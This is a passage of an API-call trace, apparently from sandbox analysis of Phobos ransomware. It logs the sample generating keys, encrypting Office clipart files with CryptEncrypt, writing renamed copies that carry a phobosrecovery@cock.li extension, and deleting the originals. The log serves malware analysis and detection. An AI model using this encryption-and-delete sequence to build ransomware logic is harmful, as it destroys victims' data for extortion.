[0057.490] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0057.491] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.491] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0057.491] CryptDestroyKey (hKey=0x10cf70) returned 1 [0057.491] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0057.491] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0057.491] CloseHandle (hObject=0x2e4) returned 1 [0057.491] CloseHandle (hObject=0x31c) returned 1 [0057.491] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0057.492] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0057.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.493] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2108) returned 1 [0057.493] CloseHandle (hObject=0x31c) returned 1 [0057.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0057.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.493] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.493] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.494] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1b0) returned 1 [0057.494] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.494] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x83c, lpOverlapped=0x0) returned 1 [0057.503] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x840, dwBufLen=0x840 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x840) returned 1 [0057.503] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x840, lpOverlapped=0x0) returned 1 [0057.504] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d070) returned 1 [0057.504] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.504] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0057.504] CryptDestroyKey (hKey=0x10d070) returned 1 [0057.504] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0057.504] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0057.505] CloseHandle (hObject=0x31c) returned 1 [0057.505] CloseHandle (hObject=0x2e4) returned 1 [0057.505] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0057.506] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0057.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.506] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9240) returned 1 [0057.506] CloseHandle (hObject=0x2e4) returned 1 [0057.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0057.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.507] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.507] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.507] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0057.507] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.507] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2418, lpOverlapped=0x0) returned 1 [0057.516] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2420, dwBufLen=0x2420 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2420) returned 1 [0057.516] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2420, lpOverlapped=0x0) returned 1 [0057.517] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0057.517] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.517] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0057.517] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0057.517] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0057.518] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0057.518] CloseHandle (hObject=0x2e4) returned 1 [0057.518] CloseHandle (hObject=0x31c) returned 1 [0057.519] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0057.520] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0057.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.550] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2344) returned 1 [0057.550] CloseHandle (hObject=0x304) returned 1 [0057.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0057.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.550] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.550] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0057.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0057.550] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1b0) returned 1 [0057.550] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0057.551] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x928, lpOverlapped=0x0) returned 1 [0058.024] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x930, dwBufLen=0x930 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x930) returned 1 [0058.024] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x930, lpOverlapped=0x0) returned 1 [0058.025] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0058.025] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.025] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.025] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0058.025] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.025] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0058.025] CloseHandle (hObject=0x304) returned 1 [0058.025] CloseHandle (hObject=0x318) returned 1 [0058.026] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0058.242] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.242] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7668) returned 1 [0058.242] CloseHandle (hObject=0x318) returned 1 [0058.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0058.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.243] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.243] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.243] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cb30) returned 1 [0058.243] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.243] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1df4, lpOverlapped=0x0) returned 1 [0058.261] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1e00) returned 1 [0058.261] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1e00, lpOverlapped=0x0) returned 1 [0058.262] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0058.262] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.262] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.262] CryptDestroyKey (hKey=0x10cab0) returned 1 [0058.263] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.263] CryptDestroyKey (hKey=0x10cb30) returned 1 [0058.263] CloseHandle (hObject=0x318) returned 1 [0058.263] CloseHandle (hObject=0x304) returned 1 [0058.264] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0058.265] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.265] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=8492) returned 1 [0058.265] CloseHandle (hObject=0x304) returned 1 [0058.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0058.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.266] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.266] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0058.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.266] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0058.266] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.266] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x212c, lpOverlapped=0x0) returned 1 [0058.299] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2130, dwBufLen=0x2130 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2130) returned 1 [0058.299] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2130, lpOverlapped=0x0) returned 1 [0058.303] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0058.304] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0058.304] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0058.304] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0058.304] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0058.304] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0058.304] CloseHandle (hObject=0x304) returned 1 [0058.304] CloseHandle (hObject=0x318) returned 1 [0058.305] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0058.307] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0058.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0058.307] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=7804) returned 1 [0058.307] CloseHandle (hObject=0x318) returned 1 [0058.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0058.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft 